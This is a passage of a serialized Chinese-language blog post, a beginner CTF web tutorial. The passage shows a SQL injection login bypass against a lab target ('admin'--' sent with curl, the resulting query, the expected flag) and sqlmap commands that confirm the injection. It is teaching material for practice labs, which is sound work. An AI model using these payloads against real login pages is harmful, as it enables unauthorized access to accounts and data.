failed",[154,14214,14216],{"id":14215},"第二步构造绕过","第二步：构造绕过",[15,14218,14219,14221,14222,14225],{},[24,14220,292],{},"：观察源码 ",[19,14223,14224],{},"WHERE username='...' AND password='...'","，猜测我们可以在用户名里\"提前闭合单引号并用注释吃掉后半句\"。这样密码校验被注释掉，只要用户存在即可登录。",[15,14227,14228,14230,14231,14233,14234,918,14237,14240,14241,3842,14243,9414],{},[24,14229,168],{},"：发送 payload 后看是否从 ",[19,14232,14212],{}," 变成成功页面；若失败，尝试 ",[19,14235,14236],{},"admin'#",[19,14238,14239],{},"admin'-- "," 等不同注释符（MySQL 支持 ",[19,14242,13311],{},[19,14244,14245],{},"#",[15,14247,1183],{},[102,14249,14251],{"className":104,"code":14250,"language":106,"meta":107,"style":107},"curl -X POST \"http://target/login.php\" --data \"user=admin'--+&pass=wrong\"\n",[19,14252,14253],{"__ignoreMap":107},[111,14254,14255,14257,14259,14261,14263,14265,14267,14269,14271,14274],{"class":113,"line":114},[111,14256,5234],{"class":117},[111,14258,13954],{"class":248},[111,14260,13957],{"class":121},[111,14262,5237],{"class":1431},[111,14264,14195],{"class":121},[111,14266,5877],{"class":1431},[111,14268,14200],{"class":248},[111,14270,5237],{"class":1431},[111,14272,14273],{"class":121},"user=admin'--+&pass=wrong",[111,14275,5243],{"class":1431},[15,14277,14278],{},"实际执行的 SQL：",[102,14280,14282],{"className":5028,"code":14281,"language":5030,"meta":107,"style":107},"SELECT * FROM users WHERE username='admin'-- ' AND password='wrong'\n",[19,14283,14284],{"__ignoreMap":107},[111,14285,14286],{"class":113,"line":114},[111,14287,14281],{},[15,14289,14290,14292,14293,14296],{},[19,14291,13311],{}," 注释掉密码部分。预期输出：",[19,14294,14295],{},"Login success"," 和 flag。",[15,14298,14299,14302,14303,14306,14307,14310],{},[24,14300,14301],{},"为什么能成功","：数据库中确实存在 ",[19,14304,14305],{},"admin"," 用户，查询 ",[19,14308,14309],{},"WHERE username='admin'"," 就能命中一行；命中即视为登录成功。",[154,14312,14314],{"id":14313},"第三步sqlmap-验证","第三步：sqlmap 验证",[15,14316,14317,14319],{},[24,14318,162],{},"：用工具确认手工结论，同时自动探测其他注入点。",[102,14321,14323],{"className":104,"code":14322,"language":106,"meta":107,"style":107},"sqlmap -u \"http://target/login.php\" --data \"user=a&pass=b\" --batch\n# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n# --batch 表示全程自动选择默认选项，不需要人工确认。\n# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[19,14324,14325,14348,14353,14358],{"__ignoreMap":107},[111,14326,14327,14329,14331,14333,14335,14337,14339,14341,14344,14346],{"class":113,"line":114},[111,14328,5867],{"class":117},[111,14330,5870],{"class":248},[111,14332,5237],{"class":1431},[111,14334,14195],{"class":121},[111,14336,5877],{"class":1431},[111,14338,14200],{"class":248},[111,14340,5237],{"class":1431},[111,14342,14343],{"class":121},"user=a&pass=b",[111,14345,5877],{"class":1431},[111,14347,5880],{"class":248},[111,14349,14350],{"class":113,"line":140},[111,14351,14352],{"class":259},"# --data 指定 POST 请求体；sqlmap 会分别对 user、pass 两个参数测试注入。\n",[111,14354,14355],{"class":113,"line":448},[111,14356,14357],{"class":259},"# --batch 表示全程自动选择默认选项，不需要人工确认。\n",[111,14359,14360],{"class":113,"line":455},[111,14361,14362],{"class":259},"# 预期输出：报告 Parameter: user (POST) 存在注入。\n",[15,14364,14365,14366,14369],{},"预期输出：报告 ",[19,14367,14368],{},"Parameter: user (POST)"," 存在注入。",[10,14371,3198],{"id":3197},[15,14373,14374],{},"Web 入门只需要掌握：参数不可信；SQLi/XSS/SSRF 的复现与检测；curl、Burp、sqlmap 三个工具的核心用法。",[1035,14376,14377],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":107,"searchDepth":140,"depth":140,"links":14379},[14380,14381,14382,14383,14384,14385,14386,14387,14388,14389],{"id":12547,"depth":448,"text":12548},{"id":12655,"depth":448,"text":12656},{"id":12753,"depth":448,"text":12754},{"id":13348,"depth":448,"text":13349},{"id":13641,"depth":448,"text":13642},{"id":13865,"depth":448,"text":13866},{"id":13979,"depth":448,"text":13980},{"id":14043,"depth":448,"text":14044},{"id":14140,"depth":448,"text":14141},{"id":3197,"depth":448,"text":3198},"完整复现 SQL 注入、XSS、SSRF 三个漏洞：环境搭建、请求与响应、演示 curl、Burp Suite、sqlmap 的核心用法。",{"date":1051,"image":14392,"alt":14393,"tags":14394,"published":451},"/blogs-img/blog9.png","CTF Web 入门",[1055,6387,2357],"/blogs/ctf-web-overview",{"title":12542,"description":14390},"blogs/9. ctf-web-overview","Zw9ZNNI8nq4-16xeG1TaILfNuOv5EuKnOPkpkm05cIk",1786796567266]